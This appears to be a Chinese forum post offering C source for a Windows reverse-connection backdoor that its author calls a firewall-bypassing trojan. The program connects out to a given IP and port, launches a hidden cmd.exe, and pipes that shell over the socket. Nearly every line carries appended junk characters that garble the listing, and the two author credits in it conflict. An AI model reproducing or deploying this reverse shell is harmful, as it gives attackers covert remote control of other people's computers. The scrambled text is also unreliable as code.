这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mZz="ZLa:
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/* ============================== 9d[5{"2j
Rebound port in Windows NT mE%$HZ}
By wind,2006/7 Z_1U9+,
===============================*/ \^7C0R-hX
#include %\|'%/"`2(
#include Bw%Qbs0Q
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#pragma comment(lib,"wsock32.lib") \.YS%"Vz
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void OutputShell(); a<}#HfC;'
SOCKET sClient; o*U]v
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Mi'8
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void main(int argc,char **argv) +)o}c"P!
{ l2N]a9bq@
WSADATA stWsaData; ~.;<
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int nRet; E|'h]NY
SOCKADDR_IN stSaiClient,stSaiServer; sBrI}[oyx
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if(argc != 3) 2^8%>,
{ "HE^v_p
printf("Useage:\n\rRebound DestIP DestPort\n"); C4TE-OM8
return; !uQPc
} ]?*I9
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?QE,;QtpK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -D6exTxh"
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stSaiClient.sin_family = AF_INET; =s<( P1|"
stSaiClient.sin_port = htons(0); EkziAON
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qxj JN^Q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M)SEn/T-
{ E*+{t~
printf("Bind Socket Failed!\n"); B(M6@1m_
return; O{#=d
} 6F e34n]m
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stSaiServer.sin_family = AF_INET; T#>7ub
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '3uVkp 6tF
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >y,-v:Vy
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i-6Z"b{
{ 1YH+d0UGn
printf("Connect Error!"); &Y }N|q-
return; 6Oy$gW)
} 0\e IQp
OutputShell(); (SvWvm
} x9JD\vZ
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void OutputShell() @H=:)*;
{ 'ET~
char szBuff[1024]; 62zYRs\Y)X
SECURITY_ATTRIBUTES stSecurityAttributes; .hifsB~
OSVERSIONINFO stOsversionInfo; B8}Nvz
/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h D/*h*}T>
STARTUPINFO stStartupInfo; f.9SB
char *szShell; 3eF-8Z(f
PROCESS_INFORMATION stProcessInformation; r4SXE\
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unsigned long lBytesRead; r8xv#r 1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Rx}$0c0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ()6wvu}
stSecurityAttributes.lpSecurityDescriptor = 0; MB~=f[cUnd
stSecurityAttributes.bInheritHandle = TRUE; IhVO@KJI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U`2e{>'4t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'ZDp5pCC;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x$6^R q>2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;6>2"{NW
stStartupInfo.wShowWindow = SW_HIDE; +lHjC$
stStartupInfo.hStdInput = hReadPipe; J1C3&t}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hHV";bk
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GetVersionEx(&stOsversionInfo); n(;|q&3
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switch(stOsversionInfo.dwPlatformId) s~5[![1
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{ x-^`~p
case 1: z=q3Zo
szShell = "command.com"; YS/Yd[ e
break; hoK>~:;
default: .y!<t}
szShell = "cmd.exe"; 9_Be0xgJ3^
break; 2AT5
} e4?>-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2N: ,Q8~
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send(sClient,szMsg,77,0); t/VD31
while(1) "@iK'
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{ :bwjJ}F
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y1dDO2mA
if(lBytesRead) X-K=!pET
{ wn/_}]T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L ~lxXTG\
send(sClient,szBuff,lBytesRead,0); >\KNM@'KI
} u{['<r;I
else UQ?XqgUM
{ }fb#G<3
lBytesRead=recv(sClient,szBuff,1024,0); a7r%X -
if(lBytesRead<=0) break; ;f#v0W`5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PQ5QA61
} _m5uDF?[
} _K l_61k
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return; `6~Aoe
}